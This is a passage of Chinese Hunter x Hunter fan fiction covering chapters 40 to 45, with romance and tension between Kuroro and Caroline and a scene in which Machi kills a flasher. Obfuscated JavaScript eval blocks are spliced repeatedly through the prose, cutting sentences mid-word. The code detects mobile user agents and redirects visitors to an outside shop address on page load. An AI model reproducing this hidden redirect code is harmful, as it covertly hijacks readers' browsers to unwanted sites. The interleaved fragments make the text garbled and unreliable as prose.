0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523338|203373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正常一点。” 侠客的笑容没有收,维持着那个无辜纯良的表情。 “真过分呢,飞坦。” “要吐了。”飞坦的语气冷得像冰渣子,他的表情介于恶心和想杀人之间,金色的眼睛里第一次有了一点除了冷漠之外的东西,是嫌弃,真真切切的毫不掩饰的像看到什么脏东西一样的嫌弃。 侠客笑出了声,很短的一声,然后收住了,不知道在想些什么。 “侠客,有事直说。”飞坦皱了皱眉,懒得去想侠客在想什么,直接问。 “有些事情,直说的话反而会变得更糟糕吧。”侠客意味不明地开口。 飞坦冷哼一声,直接走人,不管了,他难道是什么心理咨询师吗? 40. 喜欢火红眼的一定是变态 卡洛琳窝在库洛洛怀里,手里翻着这周课上发的艺术史讲义。翻到某一页的时候她的手指停了一下,眉毛皱起来。 “今天上课讲了七大美色。”卡洛琳的声音带着一种不太高兴的调子,像咬到了一颗没熟的葡萄。 库洛洛的下巴搁在她的头顶,闻言没有动,只是“嗯”了一声,示意她继续说,他会听的。 “那个窟卢塔族的火红眼也在里面。”卡洛琳把讲义翻过来给库洛洛看,指着一行小字,语气里嫌弃几乎要溢出来,“你不觉得很恶心吗?不就是眼神鲜艳一点的眼珠子吗?这也能叫美色?” 库洛洛低头看了一眼讲义,没有接话。 “我们学院有好几个教授都在批判这种风气,”卡洛琳越说越来劲,把讲义合上丢到茶几上,整个人往库洛洛怀里缩了缩,“把活人的眼珠子挖出来当收藏品,还说什么美色,给自己的变态嗜好披上一层审美的遮羞布,这不是变态是什么。” 库洛洛的手臂环在她的腰上,手指有一下没一下地在她的腰侧画圈。他的声音从卡洛琳的头顶传下来,低低的,带着一种顺着她说的温柔。 “确实,很多所谓的审美,只是在迎合一些压根没有审美的人。” 卡洛琳用力地点了点头,发丝蹭着库洛洛的下巴。 “就是嘛。觉得红色眼珠子好看的人,一定是心理变态,”卡洛琳还是很上头地抱怨着,然后很安心地往库洛洛怀里又缩了缩,声音里带着一种笃定的毫无怀疑的信任,“还好我身边没有这种变态。” “嗯,还好没有。”库洛洛察觉到了卡洛琳的某种不安,于是语气越发温柔。 卡洛琳翻了个身,把脸埋进他的颈窝里,闷闷地说了一句“我就知道”,然后就不说话了。呼吸慢慢变得均匀,像是困了。 卡洛琳在库洛洛怀里彻底睡熟之前,还含含糊糊地嘟囔了一句什么。库洛洛没有听清,也没有问。他维持着抱着她的姿势,在沙发上又坐了一会儿,等她睡得再沉一些,才一只手托着她的背,另一只手从她膝弯穿过去,把她整个人从沙发上捞起来。 卡洛琳的脑袋在他胸口晃了一下,鼻子里发出一声软绵绵的哼,手自动地攥住了他的衣领。 库洛洛抱着她走进卧室,一只手掀开被子,把她放下去。她的身体陷进床垫里,头发散在白色的枕套上,他帮她盖好被子,把被角拉上来,一直拉到她的下巴。卡洛琳闭着眼睛,睫毛在颧骨上投下一小片阴影。库洛洛站在床边看着她,停了一下,弯腰把被子又往上拉了一点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523339|203373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他刚要转身,一只手从被子里伸出来,攥住了他的袖口。 “嗯?”库洛洛低下头。卡洛琳的眼睛还是闭着的,睫毛动了一下,没有睁开。她的声音带着困意的黏稠,像是从梦和现实的缝隙里挤出来的。 “库洛洛……” “嗯。” “你帮我写论文好不好。” 库洛洛挑了挑眉,卡洛琳之前从不提这样类似于作弊的要求。 “批判火红眼是七大美色的论文……”卡洛琳把脸从枕头里抬起来一点,眯着眼睛看他,琥珀色的瞳孔在黑暗中显得格外亮。声音软软地在撒娇,“你帮我写嘛。” 睡意朦胧的表情让库洛洛心底软了一下,虽然这是作弊,但库洛洛很乐意卡洛琳愿意多依赖自己一点。 “你写得好嘛……”卡洛琳说着说着,眼皮又沉了下去,声音越来越小,尾音消失在枕头的棉布里,“我不会写……库洛洛最聪明了……” 她的呼吸又变得均匀了。攥着他袖口的手没有松开,但力道已经松了,手指半蜷着,像抓不住任何东西。库洛洛没有把她的手掰开。他在床沿坐下来,就着被她攥着袖口的姿势,侧过身看着她。 “好,我帮你写。”库洛洛温柔地回应。 41. 遇到变态了…… 晚上九点多,卡洛琳和玛奇从便利店出来。卡洛琳手里拎着一袋零食和两盒冰牛奶,玛奇什么都没拿,走在她左边,步伐平稳,像一只在夜色中无声移动的猫。 这条路卡洛琳走过很多次,从公寓到便利店步行七分钟,中间要经过一段没有路灯的小巷。她每次走这条路都会加快脚步,但今天玛奇在她旁边,她的步子慢了下来。有人陪着的时候,黑暗就不那么可怕了。 拐角就在前面,卡洛琳低头在包里翻钥匙。 然后一个人突然从拐角后面闪了出来。男的,中年,穿着一件皱巴巴的风衣。他站在路中间,挡住去路,双手抓住风衣的前襟,猛地往两边一扯。 风衣下面什么都没有。路灯的光照在他赤裸的胸腹上,还有更下面的地方,那个在任何文明社会都不应该随意展示的器官,被灯光照得清清楚楚。他的脸上带着一种亢奋的期待的表情,眼睛直直地看着卡洛琳,等着看她的反应,尖叫,或者捂脸,或者惊慌失措地后退。 然而卡洛琳愣在那里,手里还攥着那包没有找到的钥匙。闪过的第一个念头是如果库洛洛知道了,这个人大概会死得很难看。这个念头只持续了一秒。因为下一秒,玛奇动了。 她的动作快到卡洛琳的眼睛只来得及捕捉到开头和结尾,开头是玛奇的手从口袋里抽出来,结尾是那个男人的脖子被扭到了一个不可能的角度。 咔嚓一声,很脆。 男人的身体在原地停了一下,然后像一袋水泥一样重重地砸在地上。风衣散开了,盖住了那些不该被看到的东西。他的脸朝上,眼睛还睁着,瞳孔慢慢地放大。 巷子里安静了。 “人死了。”玛奇的声音和平时没有任何区别,她甩了一下手,像是把不存在的脏东西甩掉。 卡洛琳低下头看着地上那具尸体。没有血,脖子扭断了,但没有破皮,没有喷溅,没有任何让她胃部痉挛的红色液体。 尸体躺在那里,像一个被丢弃的人偶,关节错了位,姿势很别扭,但很安静。 卡洛琳抓着玛奇的手臂。她的手指收得很紧,指甲隔着衣服嵌进玛奇的皮肤里,但她自己可能没有意识到。 心跳很快,倒不是因为害怕。是因为太突然了。一秒前那个人还站在那里,裸露着身体,脸上挂着那种让人作呕的笑容。一秒后他躺在地上,脖子断了,很快就死了。 只要不见血,她也不是那么害怕。卡洛琳在心里确认了这个事实,然后松了一口气。 玛奇看了她一眼,没有抽回手臂,另一只手覆上卡洛琳抓着她胳膊的手背,握着,不紧不松,冷淡地开口:“我送你回去吧。” 卡洛琳点了点头。她们跨过那具尸体,继续往前走,脚步没有加快,也没有放慢。玛走到公寓楼下的时候卡洛琳停下来,转过身看着玛奇。路灯的光照在玛奇的脸上,眼睛被灯光染成了暖色调,看起来很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523340|203373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 温柔。 “谢谢。”卡洛琳低声说。 玛奇没有说“不用谢”,也没有说“没什么”,只是松开了卡洛琳的手,把手插回口袋里,依旧是面无表情。 “早点睡。” “嗯,你也早点。” 卡洛琳上楼,开门,换鞋,把牛奶放进冰箱。她在沙发上坐下来,抱着靠枕,把脸埋进去。 她其实真的可以接受旅团杀人。这个认知她早就有了,不需要通过今晚来验证。她现在幸福的人生,全部都是因为库洛洛。 她没有任何立场去厌恶旅团的所作所为。 何况她是穿越者,旅团杀的人和她没有关系。不是她杀的,不是她下令杀的,不是她认识的在乎的有感情的人。那些死去的人对于她来说只是名字,或者连名字都没有,只是新闻里的一行字,漫画里的一个分镜。她可以理智地清醒地不带任何感情波动地接受这一切。 但是理智上接受和真的面对是两回事嘛。 就像她知道杀人会死,和亲眼看到西索把人切成两半是两回事。就像她知道旅团会杀人,和亲眼看到玛奇扭断一个人的脖子,听到那声咔嚓,看到尸体倒在地上眼睛慢慢放大,是两回事。 卡洛琳把脸从靠枕里抬起来。她没有哭,也没有发抖,更没有想吐。她只是觉得很累,一种现实正是如此的疲惫。 她已经做好了觉悟,可不正是因为很难面对才需要觉悟吗? 42. 人很好的玛奇 玛奇在甜品店门口的遮阳伞下等卡洛琳的时候,已经引起了不少人的注意。她穿着一件紫色的高领毛衣,头发扎起,露出锋锐艳丽但却因为面无表情而显得生人勿近的美丽面容。有人从她身边走过,会忍不住多看她一眼,又赶紧移开目光。 卡洛琳远远看到这一幕,加快了脚步。 “等很久了吗?” “没有。”玛奇跟着卡洛琳走进店里。她们坐在靠窗的位置,卡洛琳照例点了一份杨枝甘露和芒果糯米糍,给玛奇点了一杯热红茶。 卡洛琳舀了一勺杨枝甘露送进嘴里,看着对面玛奇端着茶杯慢慢喝的样子。其实现在接触多了她反而觉得玛奇人真的挺好的。 虽然表面上冷冰冰的,说话也不多。但她闲着没事干会来找卡洛琳,不会提前发消息,直接敲门,有时手里可能拎着超市买的水果,也可能什么都没拿,就来了。卡洛琳问她怎么来了,她会直接坦诚地说“没事做”。 玛奇会坐在沙发上看她做饭,看她换花,看她画画,偶尔说一两句,大部分时间沉默。但那种沉默却不让人难受。 至于为什么玛奇会来找卡洛琳,答案显而易见。 当然是因为库洛洛的缘故。库洛洛在意的人,她多少会在意。 卡洛琳想起之前在流星街的事。玛奇小时候总是跟着没什么人敢接近的窝金。后来西索那个变态加入旅团,没人愿意跟西索联络,还是玛奇去的。 所以玛奇是那种表面冷淡但实则会用行动关怀被边缘化的那类人吗? 卡洛琳有的没的想着,这也只是她个人的猜测啦。 “这个糯米糍好吃,你尝尝。”卡洛琳把盘子往玛奇那边推了推。玛奇看了一眼,放下茶杯,拿起一个咬了一口,嚼了几下,没有评价,但把剩下的吃完了,卡洛琳就把这当成好评了。 “团长最近去找你了吗?”玛奇端起茶杯,内容果然还是离不开库洛洛。 卡洛琳咬着勺子想了想:“前几天来过。” “说了什么?” “没说什么,”卡洛琳把勺子从嘴里拿出来,在杨枝甘露里搅了搅,“不过我让他帮我写大学论文了。” 玛奇端着茶杯的手停了一下:“论文?” “我们艺术史的作业。”卡洛琳说得很自然,好像“让幻影旅团团长帮忙写大学作业”是一件再正常不过的事情,而且其实她为了选这个冷门偏僻还挺挑战权威的题目还贿赂了一下教授,反正不打算发表,重要的是让库洛洛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523341|203373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 写才是最重要的。 “你觉得团长很温柔吗?”玛奇突然开口问,她的表情和平常一样淡,但她的眼神里有一种真切存在的疑惑。 “库洛洛对同伴都很在意很温柔的。”卡洛琳避重就轻,说实话,她到现在连库洛洛为什么喜欢自己都还是没搞懂。 “有必要这样互相瞒着吗?”玛奇皱了皱眉,难得认真地开口。卡洛琳知道玛奇的意思。库洛洛瞒着旅团卡洛琳的存在,也瞒着卡洛琳旅团的事。两边都瞒,两边都不说。而且自己什么都知道,也不揭穿。 卡洛琳低着头看着碗里剩的杨枝甘露,芒果吃完了,西柚粒沉在碗底,一粒一粒的,透明的红色。她用勺子把西柚粒舀起来,又放回去,舀起来,又放回去。 “反正他什么都不想告诉我,”卡洛琳的声音很轻,听起来没有委屈也没有抱怨,“那我干嘛主动给他找不痛快。” 卡洛琳在说这句话的时候,勺子还在碗里无意义地搅着,西柚粒被搅得散了又聚,聚了又散。 玛奇端起茶杯把最后一口茶喝完。她没说什么,把茶杯放回碟子里,杯底碰到瓷碟发出很轻的一声响。卡洛琳抬起头看着她,玛奇的表情还是那样,冷冷的,淡淡的,什么都看不出来。 43. 一起看恐怖片吧 库洛洛把碟片放进播放器的时候,卡洛琳已经把沙发铺好了毯子,排好了靠枕。房间的灯已经关了,只剩茶几上一盏小夜灯,橘黄色的,照不出多远。 “你确定要看这个?”库洛洛拿着遥控器在沙发上坐下。 卡洛琳把毯子拉上来盖住腿,往他那边挪了挪,肩膀贴上他的手臂:“嗯,同学说这部拍得特别好。” 库洛洛看了她一眼,然后按下了播放键。 画面从一座老旧的房子开始,镜头慢慢地,一寸一寸地推进,走廊很暗,墙上的相框歪着。卡洛琳的身体不自觉地绷紧了,手指抓着毯子的边缘。库洛洛的手臂从她肩膀后面伸过来,松松地搭在她肩上,没有用力。 第一个血腥镜头来得比卡洛琳预想中快。一个人从走廊尽头冲出来,脸上全是血,糊住了,厚厚的一层,连眼睛的颜色都看不清。他张着嘴,卡洛琳没听到他喊了什么,因为她的眼睛在看到他脸上那层血的时候就猛地闭上了。 “没事,”库洛洛的声音从头顶传下来,低低的,带着一种让人安心的平稳,“这个镜头就三秒,下一个切到外景了,不吓人。” 卡洛琳睁开眼睛,电视上果然是外景,阳光照在草地上,绿得刺眼。她呼出一口气,把脸往库洛洛的肩膀上蹭了蹭。 “你怎么知道的?”卡洛琳松了一口气之后随口问。 库洛洛的手指在她的肩头画了一个很小的圈,自然地解释:“恐怖片的剪辑节奏是有规律的。紧张之后必须给缓冲,不然观众会疲劳。这里给外景,说明刚才那个镜头已经结束了。” 卡洛琳想了想,好像有点道理。片子里的人又开始说话了,卡洛琳看了一会儿,跟着剧情走,渐渐地忘了害怕。然后又一个血腥镜头,一只手从床底下伸出来,手指上全是血,指甲盖翻了两片。卡洛琳的瞳孔缩了一下,但没有闭眼,她盯着那只手看了两秒,然后转过头把脸埋进了库洛洛的胸口。 “怕了?”库洛洛的声音温柔极了。 “嗯。”卡洛琳把脸往他胸口又埋了埋,鼻尖蹭着他的毛衣。 “换一个?” “不要,”卡洛琳闷闷地说,又转头去看,“你跟我说哪些地方会吓人就行了。” 库洛洛的手臂把她往怀里拢了拢:“好。” 电影继续放。库洛洛真的开始给她预告。下一个镜头有东西,你做好准备,一个黑影从镜子里闪过。下面那段配乐是假的,不会有事,果然,什么都没有,只是在营造气氛。等一下那个人转身的时候你会看到他手里有东西,别看他的脸,看他的手腕,卡洛琳看着那个人的手腕,果然看到他手里攥着一把剪刀,她避开了他脸上扭曲的表情。 “你怎么什么都看得出来?”卡洛琳的声音带着一种说不清楚的情绪。 “……看多了。”库洛洛给出了一个算得上诚实的回答。 卡洛琳没有追问看多了什么。是看多了恐怖片,还是看多了死人…… 卡洛琳靠在库洛洛怀里,听着他平稳的心跳,心中涌现的居然是安心。库洛洛每次预告都很准,像手里有剧本,这也正常,库洛洛怎么可能不懂?死亡,恐惧,人在极端情况下会做出什么表情,血会以什么样的角度喷溅……这些都不是从电影里能学来的。 电影放到后半段,有一个镜头连库洛洛都没有预告到。突然的,没有铺垫的,一张脸占满了整个屏幕,眼眶是两个黑洞,嘴角咧到耳根。卡洛琳整个人弹了一下,从脊椎底部升起来了本能的不由她控制的战栗。她的指甲掐进了库洛洛的手臂,隔着毛衣掐的,不知道他疼不疼。 库洛洛把她的头按进自己怀里,手掌覆着她的耳朵。他的嘴唇贴着她的头顶,声音从她的头骨传进来,温柔地令人安心。 “没有了,这个镜头就一下,后面是长长的空镜。” 卡洛琳在他怀里缩着,感觉到他的手在她的背上一下一下地拍着,不急不慢,在温柔地安抚自己。 好荒谬啊。她在看一部恐怖片,片子里有人被杀,有血流出来,有鬼魂在走廊里游荡。但那些都是假的,是演员在镜头前表演的,是化妆师用颜料画出来的,导演会在摄像机后面喊“卡”之后大家就会笑着去吃饭的东西。 她害怕这些假的东西。而她身边的这个男人,是真的杀过人的。不是一次,不是两次,是很多次…… “还在怕?”库洛洛低头看着她。 “嗯。” “要不算了?” “不要,你继续说。” 库洛洛笑了一下,如果不是卡洛琳的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523342|203373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸贴着他的胸口,她可能感觉不到那一下震动。 “好。”电影继续放着,库洛洛继续给她预告。下一个地方会有人从左边出来你别看左边看右边,右边果然什么都没有。这段对话里会有人死你注意听那个关门的声音,关门声响了,然后是惨叫声,卡洛琳闭着眼睛没有看。 “卡洛琳。” “嗯。” “我不会让你看到那个的。” “什么?” 库洛洛的声音很低很轻,温柔地像情人的耳语:“我不会让任何人有机会那样吓你。” “……嗯,我知道。”卡洛琳的眼眶有些酸涩。 电影快结束了。主角从噩梦中醒来,满头大汗,镜头慢慢拉远,她的房间和片头那栋老房子渐渐重叠在一起。是开放式结局,卡洛琳没有搞懂,但她懒得问了,靠在库洛洛怀里,手指无意识地把他的毛衣卷起来又放开。片尾字幕开始滚了,库洛洛拿起遥控器关掉了电视,客厅安静下来,只剩茶几上那盏小夜灯还亮着。 “困了?” “嗯。” “那睡吧。” “你抱我过去。” 库洛洛笑了笑,一只手托着她的背,一只手从她膝盖弯穿过去,把她从沙发上抱起来。卡洛琳的手臂自然地环上他的脖子,脸贴着他的颈侧,鼻尖蹭到他皮肤上的温度。她闭着眼睛,感觉他在走路,步子很稳,卧室的门开着,床单是下午刚换的。她被放下来的时候床垫陷了一下,她没有松手,他也没有把她放下去就走。他保持着那个姿势,一只手撑在她耳边,另一只手被她压在脖子下面。 “卡洛琳。”库洛洛的声音很近,近到嘴唇几乎碰到她的鼻尖。 “嗯。” “晚安。” “晚安。” 库洛洛把她的手从自己脖子上拿下来塞进被子里,拉了拉被角,把那一端压在她肩膀下面。他站起来,走到门口,关了灯。黑暗里卡洛琳听到他的脚步声走回床边,床垫又陷了一下,他的手臂从她腰侧伸过来,把她揽进怀里。 她什么都不想想了。 电影里的血是假的,他身上的血是真的。但她选择靠在他胸口,听他的心跳,一下一下地数着,数到不知道第几下的时候就什么都不知道了。 44. 一起画画吧 画架支在客厅窗户旁边。卡洛琳坐在高脚凳上,面前是一幅画了一半的素描,参考书摊在旁边的茶几上,翻到人体解剖那一章。她握着铅笔,在纸上画了几笔,停下来,歪着头看了看,又画了几笔,又停下来。 库洛洛放下正在看的书,走过来在画架后面看了一会。 “肩膀的位置不对哦。” 库洛洛的手指越过她的肩膀,点在画纸上,指腹沿着她画的肩膀线条走了一遍,从肩峰到肩锁关节,从锁骨到肩胛骨。 “这里,”库洛洛的指尖点在纸上,很认真地讲解,让卡洛琳有一种回到小时候的恍惚感,那个时候库洛洛也是这样教自己的,“肩胛骨的上角应该在这里。你画的位置高了,所以整个肩膀看起来像耸着的。锁骨和肩峰之间的夹角也太平了,这里有一个自然的凹陷。” 卡洛琳看了看参考书,又看了看自己的画。确实不对,差了很多。她往旁边挪了半寸,库洛洛的手从她肩膀上收回去,她以为他要走开,但他的手又回来了。 “我帮你改一下轮廓。”库洛洛从她手里抽出铅笔,弯下腰。他的胸口贴着她的后背,下巴几乎搁在她的肩膀上。他握笔的姿势和卡洛琳不一样,手指扣在笔杆的位置更靠后,手腕更放松,下笔的时候掌根撑在纸面上做支点。他画的很轻,线条从她的线条末端延伸出去,没有擦掉她的,只是在她画的基础上继续走。 “肩胛骨和肋骨的贴合关系是这样的,”库洛洛的笔尖在纸上走得很慢,每一笔都压着骨骼的走向,“肩胛骨的脊柱缘从这里开始,到这里结束,不是一个完整的弧形,中间有一个转折。” 卡洛琳看着那些线条从库洛洛的笔下长出来,像有生命一样。库洛洛的手指很长,骨节分明,握铅笔的姿势很好看。笔下的线条是笃定的流畅的不需要思考的,好像他的眼睛能看穿皮肤,看到底下那些她对着参考书都记不住位置和形态的骨头。 卡洛琳明智地决定不去问那个早已知道的答案。 “这里的弧度,”库洛洛的笔尖停在锁骨和肩膀交接的地方,在纸上画了一道很浅很浅的弧线,“不是肌肉,是三角肌的前束。三角肌覆盖了肩关节,从锁骨的外侧三分之一开始,到肩胛骨的肩峰,止于肱骨的中段。你画的时候可以把它理解成一个三角形,前束、中束、后束三个方向,但轮廓上不要画得太硬,三角肌的边界在放松状态下是不清晰的,只有收缩的时候才会明显。” 卡洛琳专注地听着,脑子里出现的是另一种画面,不是参考书上的肌肉结构图。她把这些画面推开了,像推开一扇不想打开的门,门后面有什么她知道,她不需要再看一遍。 库洛洛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523343|203373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 画完了,他把铅笔放回卡洛琳手里,直起腰。画纸上,肩膀的部分已经完整了。他的线条和她的线条混在一起,分不清哪些是他的哪些是她的,他的线条填补了她的空白,修正了她的错误,把她想要画但画不出来的东西一笔一笔地呈现出来了。 “你试试继续往下画,”库洛洛温柔又耐心地教导,如果他去大学里面一定是最受欢迎的教师,“从胸腔到腰部,注意肋骨的弧度和腹外斜肌的交织。腹外斜肌在腰侧的位置是锯齿状的,和肋骨的弧度形成对比,很多人在这里画得太平了,失去了腰部的转折感。” 卡洛琳握着铅笔,看着画纸。然后她转过身,仰起头看着库洛洛。 “库洛洛什么都懂,”卡洛琳的声音很轻,嘴角弯着,眼睛也是弯的,“真是聪明啊。” 库洛洛弯下腰,在她的额头上落下一个吻,很轻,很短,嘴唇离开的时候有一声很细微的声响。 “你画完了叫我,”库洛洛笑了笑,自然地开口,“我帮你改。” 卡洛琳转过身,重新面对画纸,拿起铅笔。房间里安静下来,只有铅笔在纸上滑动的沙沙声。窗外的阳光照在参考书上,照在那些肌肉、骨骼、肌腱的线条上。卡洛琳低着头,一笔一笔地画,慢慢地把那些她不想知道他从哪里学来的知识,一笔一笔地,画进自己的画里。 45. 错位的两人 门铃响的时候,库洛洛正在沙发上看外文书,他放下书去开门就看到门口摞着五个纸箱,快递小哥从箱子后面探出头来,喘着气说:“您的东西,请签收。” 库洛洛签了字,把箱子一个一个搬进客厅。五个箱子摞在一起,和他人一样高。库洛洛站在那摞箱子前面沉默了片刻,转头看了一眼窝在沙发上笑着看向这边的卡洛琳。 “你买了什么?”库洛洛明知故问。 “衣服呀。” “谁的?” “你的。” 库洛洛又看了一眼那五个箱子。 “……我的?” “对呀,”卡洛琳从沙发上下来,踢着拖鞋跑到箱子旁边拍了拍最上面那个,“我看了好久呢,哎呀拆开你就知道了。” 卡洛琳一边熟练地用美工刀拆纸箱一边往外拿衣服一边分析。 “这件是羊毛的大衣,你试一下嘛,我觉得那个版型你穿肯定好看,这个是高领毛衣,这个是休闲裤,不是那种正式的,你看这个面料很软——” 卡洛琳把衣服一件一件地摊在沙发上,像在摆一个只属于他的展览。 库洛洛在一边笑着看着他动作,卡洛琳又打开第二个箱子,拿出一件深灰色的羊绒衫,在自己身上比了比,歪着头看了看他,又放下去拿另一件。 “这件是居家穿的,你看这个棉的质感,你不是说上次那件领口有点紧吗,这件我特意买大了一号……”卡洛琳的声音从箱子后面传出来,带着那种因为兴奋而变快的语速。 库洛洛走过去从她手里把衣服拿过来放在一边,然后双手捧住了她的脸。她的脸很小,他的手掌几乎能完全包裹住。 “你到底买了多少?” “也没有很多嘛……” “五个箱子。” “那是因为,”卡洛琳眨了眨眼,慢慢地开口,“你穿什么都好看。” 卡洛琳把脸从他手里挣出来,从箱子里抽出一件黑色的衬衫,塞进库洛洛怀里。 “好了,好了,你去试试。这件先试,不是那种普通的黑衬衫,你打开看嘛,那个领口设计不一样的。” 库洛洛的嘴角弯了一下,带着一种我知道你很期待我也愿意配合你的纵容。 “换好了叫我——”卡洛琳的声音从门外传进来,隔着木门听起来闷闷的,但那种期待没有被挡住。 卡洛琳在门外等了不到一分钟,门就开了。库洛洛穿着那件黑衬衫站在门口,衬衫的领口设计确实不太一样,它比普通衬衫的领口更低,刚好让人觉得性感但又不至于过分的那个临界点上。库洛洛的头发没有整理,保持着刚才穿衣服时被领口蹭乱的样子,几缕黑发垂在额前。 卡洛琳愣在了原地,恍惚了一下,心跳居然加快了。 心里有一个声音在说:这张脸,你看了十几年了,从六岁看到现在,早就该免疫了。但是另一个声音更大:天呐,他怎么这么好看。 好吧,其实是习惯了。习惯了库洛洛的好看,就像习惯了空气的存在。而你不会每天早晨醒来感叹“哇,今天也有空气”,你只是呼吸,然后忘了自己在呼吸。库洛洛的好看对卡洛琳来说就像是这种感觉。 以至于卡洛琳有时都会忽视库洛洛其实是一个超级大帅哥这回事。 然后卡洛琳在心跳加速中,忽然想起了一件事。一件她一直没有想过,但其实一直知道的事。原著里,库洛洛会用这张脸去骗女生的念能力。 “不好看?”库洛洛敏锐地注意到卡洛琳的眼神变了。 “好看。” “那为什么这个表情?” “什么表情?” “像在瞪我。” “我没有瞪你。” “你刚才就是在瞪我。” 卡洛琳看着库洛洛。这张脸现在离她很近,近到能看到他睫毛的弧度和瞳孔里自己的倒影。她的内心在疯狂地刷弹幕:太好看了,太好看了,这个人太好看了。然后另一条弹幕飘过来:他用这张脸骗过多少女生的念能力?幻影旅团团长,为了夺取别人的念能力不择手段,色诱只是其中一种手段而已。原著里妮翁的事件已经说明了库洛洛真的很会这一套。 卡洛琳心里涌起一种微妙的不爽。复杂的说不清道不明的,像被人挠了一下但挠不到痒处的那种烦躁。 “卡洛琳。” “嗯。” “你是不是不喜欢这件衣服?”库洛洛大脑高速运转了半天,只能想出这么一个相对合理的理由。 “不是。” “那你在想什么?”库洛洛的语气真的很疑惑。 “在想你是个会欺骗女人的骗子。”卡洛琳脱口而出,然而一说出口她自己就后悔了,太莫名其妙,太没道理了。 库洛洛眨了眨眼。他眨眼的动作很慢,像在处理一段他无法解码的信息。 “……什么?” “没什么,下一件。”卡洛琳生硬地转移了话题,她也不知道自己此刻的心情是怎么样的,就觉得很乱,理不清。 库洛洛其实不太明白,但看出了卡洛琳的混乱,毕竟她从来不是喜怒不形于色的那种人,所以库洛洛没有追问。 “好。” 第二件是白色的圆领T恤。最简单的款式,没有任何图案,布料薄到能隐约看到肩胛骨的形状。库洛洛从卧室出来的时候连头发都没整理,刘海垂在额前,几缕碎发落在眉骨上。他把T恤穿得很好看,不是衣服好看,是他把衣服变好看了。 “这件呢?”库洛洛的语气很平常,好像他们之前根本没有那段莫名其妙的对话一样。 卡洛琳的心情在“真的好看”和“你用这张脸骗过多少人”之间反复横跳。 “下一件。”卡洛琳自己都觉得自己莫名其妙,但她就是控制不住。 库洛洛嘴角的弧度消失了。他认真地困惑地看着她。 “如果不喜欢这个款式——”是的,库洛洛怎么可能猜得到卡洛琳真正生气的理由。 “不是不喜欢,下一件。” 库洛洛走回卧室。卡洛琳坐在沙发上对着那堆衣服发呆,她觉得自己有病,明明是自己让他试衣服的,明明他穿什么都好看,明明他笑起来更好看。 她应该高兴才对,男朋友愿意穿你买的衣服,愿意在你面前打扮自己,愿意用自己的脸来哄你高兴。这不就是她想要的吗?那她到底在不爽什么。 库洛洛穿着第三件出来。是一件深灰色的卫衣,帽子上的抽绳垂在胸前,他把卫衣的袖子往上推了一截,露出手腕和一小段前臂,那里的血管和青筋在皮肤下面若隐若现。 卡洛琳知道他是故意的,她就是知道。他这个人心思细成这样,故意用那种“我不知道你在不高兴什么但我愿意哄你”的表情看着她。他的每一步都精准地踩在她会心动的点上。因为他知道她吃这一套,而她确实吃这一套,这反而让她更不爽了。 “这件也不喜欢?”库洛洛低头看了看自己。 “不是不喜欢。”卡洛琳的声音闷闷的,仔细听甚至能听出一丝哭腔。 “那你为什么——” “没有为什么。” 